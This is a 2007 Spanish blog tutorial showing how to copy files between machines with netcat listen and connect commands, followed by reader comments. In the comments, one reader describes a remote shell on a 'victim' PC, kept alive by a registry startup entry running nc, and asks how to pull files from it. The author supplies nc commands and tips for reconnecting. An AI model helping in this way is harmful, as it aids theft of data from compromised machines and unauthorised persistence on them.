Transferir archivos con netcat

Posted on April 22nd, 2007 in Linux, tutoriales by Miggs

Introducción

Como transferir archivos entre dos maquinas interconectadas entre si de una manera rápida y sencilla usando netcat.

Requisitos

Descripción

Servidor

  • Al equipo donde se encuentra el archivo a copiar lo denominamos ‘Servidor’.
  • El servidor permanecerá en escucha hasta que el cliente se conecte a el.
  • Una vez el cliente se conecte, el servidor transferirá el contenido del archivo.
  • Una vez completada la transmisión, se cierra la conexión.

# nc -l -p 1234 < fichero.ext -q 0

-l modo de escucha.
-p puerto de escucha.
‘fichero.ext’ nombre del fichero a copiar
-q tiempo en segundos antes de salir una vez completada la transferencia.

Cliente

  • Al equipo donde queremos recibir la información lo denominaremos ‘Cliente’.
  • El cliente se conecta al servidor.
  • La información reciba una vez conectado la guardaremos en ‘fichero.ext’.
  • Una vez completada la transmisión, se cierra la conexión.

# nc servidor 1234 > Copiafichero.ext

servidor Hostname o ip del servidor
1234 puerto de escucha en el servidor
‘Copiafichero.ext’ nombre de la copia

Limitaciones

  • Netcat no usa ningún tipo de encriptación.
  • Por cada archivo a transferir es necesario crear un servidor.
  • Puertos por debajo de 1024 [0-1023] necesitan privilegios de administrador.

9 Responses to 'Transferir archivos con netcat'

  1. takedown said, on May 4th, 2007 at 8:55 am

    la verdad muy lindo informe te has echado ;)
    muy tuyo, muy personal, elavorado

    miira que hay soga para sacarle a netcat heee, solo hace falta dejar volar la imaginacion…

    por favor nunca abandones tu web… es interesante entrar y leerte

  2. Enigma said, on June 27th, 2007 at 12:53 pm

    Pues sí, es verdad, aportas muchos conocimientos con tu web
    También se podrían transferir por ejemplo exes en vez de txts no?

  3. miggs said, on June 28th, 2007 at 11:26 pm

    si, cualquier tipo de archivo!

  4. DJ HACK said, on December 24th, 2007 at 8:34 pm

    Una duda, si quiero bajarme un archivo de la maquina x victima tengo que dalr la direccion del fichero al nc, es decir ya tengo shell
    de pc x yo puedo abrir un puerto en esta pc con el fichero que quiero descargar y en mi pc ejecutar otro nc y conectarme seria:

    en shell remota:nc -l -p 600 text.txt
    Esto funciona asi nada mas, los arcvhivos a copiar y las copias se guardan en system32 TENGO GRAN DUDA CON ESTO
    de ante mano gracias por leer mi duda

  5. Miggs said, on December 26th, 2007 at 11:15 pm

    Solo necesitas abrir un puerto de escucha en el equipo en el que vas a recibir el archivo. RECEPTOR.
    Una vez comenzada la escucha el EMISOR se conecta el RECEPTOR y le envía el contenido del fichero.

    RECEPTOR:

    nc -l -p 600 > output.txt // La opcion -l significa “listen” (escuchar en ingles), los datos recibidos de esa comunicación seran guardados en ‘output.txt’

    EMISOR:

    nc direccionRECEPTOR 600 < input.txt //Nos conectamos al RECEPTOR, enviando el contenido de input.txt

    Con respecto a lo del path, ha probado a introducir el path absoluto?

    Saludos

  6. DJ HACK said, on December 28th, 2007 at 4:02 pm

    muchas gracias resuelto el problema ya logre enviar los archivos y bajarlos tambien.

  7. Miggs said, on December 29th, 2007 at 10:57 pm

    :) Me alegro mucho.

  8. DJ HACK said, on January 4th, 2008 at 7:08 pm

    Filiz año nuevo y entro en el nuevo año con una duda. Cuando ejecuto los comandos en la maquina victima para transferir arcvhivos despues al intentar conectarme de nuevo me dice coneccion refuse y bueno a la victima le puse clave en el registro para que se inicie un .bat con los comandos del nc para lo de la chell y le puse la -L eso funciona bien asta que pongo lo de transferir que entonces no me deja conectarme mas asta que reinicie la pc victima Gracias de antemano por leer mi duda a otra cosa men esta web esta bola.

  9. Miggs said, on January 6th, 2008 at 11:36 pm

    Efectivamente, nc escucha hasta que recibe una conexión, una vez terminada la conexión el programa finaliza (finalizando también la escucha.).

    Para que nc vuelva a ejecutarse deberás reiniciarlo de nuevo.
    Como solución temporal te recomiendo que uses el operador ‘&&’. && ejecuta el siguiente comando una vez en predecesor ha terminado, por ejemplo:

    >nc -l -p 3333 > fichero1 && nc -l -p 3333 fichero2

    El comando anterior guardaría los datos de la primera conexione n fichero1, los de la segunda en fichero2. Una vez cerrada la segunda conexión nc dejara de escuchar por el puerto 3333.

    Esto es una solución muy pobre, en tu caso, si tienes conocimientos básicos de programación podrías crear un loop de escucha.

    Un saludo!

Post a comment